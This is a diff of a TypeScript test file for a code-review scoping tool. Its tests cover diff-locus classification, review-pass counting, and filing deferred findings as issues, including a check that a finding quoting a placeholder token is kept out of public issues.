// in the deleted file, and the pass-4 outside review showed that anchor landed outside and deferred.
test('a cause anchored in a deleted file is the diff, so the broken caller is fixed here, not deferred', () => {
const diff = parseHunks(DIFF);
expect(locusOf({ path: 'src/consumer.ts', line: 80, cause: { path: 'src/gone.ts', line: 2 } }, diff, null)).toBe('diff');
const [scoped] = scopeFindings([{ fingerprint: 'src/consumer.ts:80:api', path: 'src/consumer.ts', line: 80, severity: 'CRITICAL', cause: { path: 'src/gone.ts' } }], { policy: 'frozen', pass: 1, diffHunks: diff, rangeHunks: null });
expect(scoped!.locus).toBe('diff');
expect(scoped!.scope).toBe('fix');
});
test('locusOf: inside a hunk or within 3 lines is the diff, farther is outside, an added file is whole, the range wins over the diff', () => {
@@ -179,14 +189,16 @@ describe('loop summary', () => {
// A pass logged without the template's timestamp (the logger stamps review_binding.started_at, never
// timestamp) is still this invocation's pass; dropping it silently under-reported passes on #3481.
test('a row with no timestamp dates from its binding start; a row with neither is not counted', () => {
test('a row dates from the logger\'s binding start before the writer\'s timestamp; a row with neither is not counted', () => {
const rows = [
{ skill: 'review', via: 'ship', timestamp: '2026-10-26T10:00:00Z', review_scope: 'frozen', findings: [{ fingerprint: 'a:1:x', blocking: true, action: 'auto-fixed' }] },
{ skill: 'review', via: 'ship', review_scope: 'frozen', review_binding: { state: 'changed', started_at: '2026-10-26T10:30:00.000Z' }, findings: [{ fingerprint: 'c:1:z', action: 'noted' }] },
// A writer-typed date-only timestamp parses as midnight, before --since; the logger's start keeps the pass.
{ skill: 'review', via: 'ship', timestamp: '2026-10-26', review_binding: { state: 'verified', started_at: '2026-10-26T10:45:00.000Z' }, findings: [{ fingerprint: 'd:1:w', action: 'noted' }] },
{ skill: 'review', via: 'ship', review_binding: { state: 'changed', started_at: '2026-10-26T09:00:00.000Z' }, findings: [{ fingerprint: 'old:1:q', action: 'noted' }] },
{ skill: 'review', via: 'ship', findings: [{ fingerprint: 'undated:1:q', action: 'noted' }] },
];
expect(summarizeReviewLoop(rows, '2026-10-26T09:30:00Z')).toEqual({ passes: 2, blocking_found: 1, deferred: 0, noted: 1, fixed: 1, scope: 'frozen' });
expect(summarizeReviewLoop(rows, '2026-10-26T09:30:00Z')).toEqual({ passes: 3, blocking_found: 1, deferred: 0, noted: 2, fixed: 1, scope: 'frozen' });
});
});
@@ -212,6 +224,8 @@ describe('gstack-review-scope (bin)', () => {
]);
const f = path.join(repo.root, 'findings.json');
fs.writeFileSync(f, findings);
// diff.mnemonicPrefix prints c/ and w/ instead of a/ and b/; classify pins the prefixes, so the user's git config cannot send every finding outside.
repo.git('config', 'diff.mnemonicPrefix', 'true');
const p1 = runBin(repo, 'gstack-review-scope', ['classify', '--base', 'main', '--pass', '1', '--findings', f, '--json']);
expect(p1.status).toBe(EXIT.ok);
expect(p1.err.trim()).toBe('REVIEW_SCOPE: policy=frozen pass=1 findings=4 fix=1 defer=2 note=1 blocking=3');
@@ -329,20 +343,27 @@ describe('gstack-review-scope (bin)', () => {
fs.writeFileSync(classified, JSON.stringify([
{ fingerprint: 'lib/legacy.ts:7:data-loss', path: 'lib/legacy.ts', line: 7, severity: 'CRITICAL', category: 'data-loss', summary: 'Unbounded delete', locus: 'outside', kind: 'defect', blocking: true, scope: 'defer' },
{ fingerprint: 'lib/old.ts:1:auth', path: 'lib/old.ts', line: 1, severity: 'CRITICAL', category: 'auth', summary: 'Missing owner check', fix: 'check owner', locus: 'outside', kind: 'defect', blocking: true, scope: 'defer' },
// Reviewer text is untrusted: a security finding that quotes the credential it found must not reach a public issue.
{ fingerprint: 'lib/keys.ts:3:security', path: 'lib/keys.ts', line: 3, severity: 'CRITICAL', category: 'security', summary: 'Hardcoded token ghp_' + 'Qm4zR7tK2wX9pL5vN8sD1fG6hJ3yB0cA7eU2', locus: 'outside', kind: 'defect', blocking: true, scope: 'defer' },
]));
const r = runBin(repo, 'gstack-review-scope', ['defer', '--findings', classified, '--pr', '42', '--repo', 'acme/app', '--json'], { PATH: `${shim}:${process.env.PATH}` });
expect(r.status).toBe(EXIT.ok);
expect(JSON.parse(r.out)).toEqual([
const records = JSON.parse(r.out);
expect(records.slice(0, 2)).toEqual([
{ fingerprint: 'lib/legacy.ts:7:data-loss', path: 'lib/legacy.ts:7', severity: 'CRITICAL', summary: 'Unbounded delete', issue: 9, url: 'https://example.test/acme/app/issues/9', reason: 'already filed' },
{ fingerprint: 'lib/old.ts:1:auth', path: 'lib/old.ts:1', severity: 'CRITICAL', summary: 'Missing owner check', issue: 10, url: 'https://example.test/acme/app/issues/10' },
]);
expect(records[2].issue).toBeNull();
expect(records[2].reason).toMatch(/^publication scan refused: HIGH /);
expect(r.err).toContain('DEFERRED: #9 CRITICAL lib/legacy.ts:7');
expect(r.err).toContain('DEFERRED: #10 CRITICAL lib/old.ts:1');
expect(r.err).toContain('DEFERRED: unfiled (publication scan refused: HIGH ');
const calls = fs.readFileSync(log, 'utf8');
expect(calls.match(/^issue create /gm)?.length).toBe(1);
expect(calls.match(/^issue list /gm)?.length).toBe(1);
expect(calls).toContain('--search "gstack-deferred-finding" in:body');
expect(calls).toContain('issue create --repo acme/app --title Deferred review finding: lib/old.ts:1 — Missing owner check --body-file');
expect(calls).toContain('issue create --title=Deferred review finding: lib/old.ts:1 — Missing owner check --body-file=- --repo acme/app');
expect(calls).not.toContain('Qm4zR7tK2wX9pL5vN8sD1fG6hJ3yB0cA7eU2');
});
// Generated by /ship Step 7 (coverage audit of the harness lane E diff).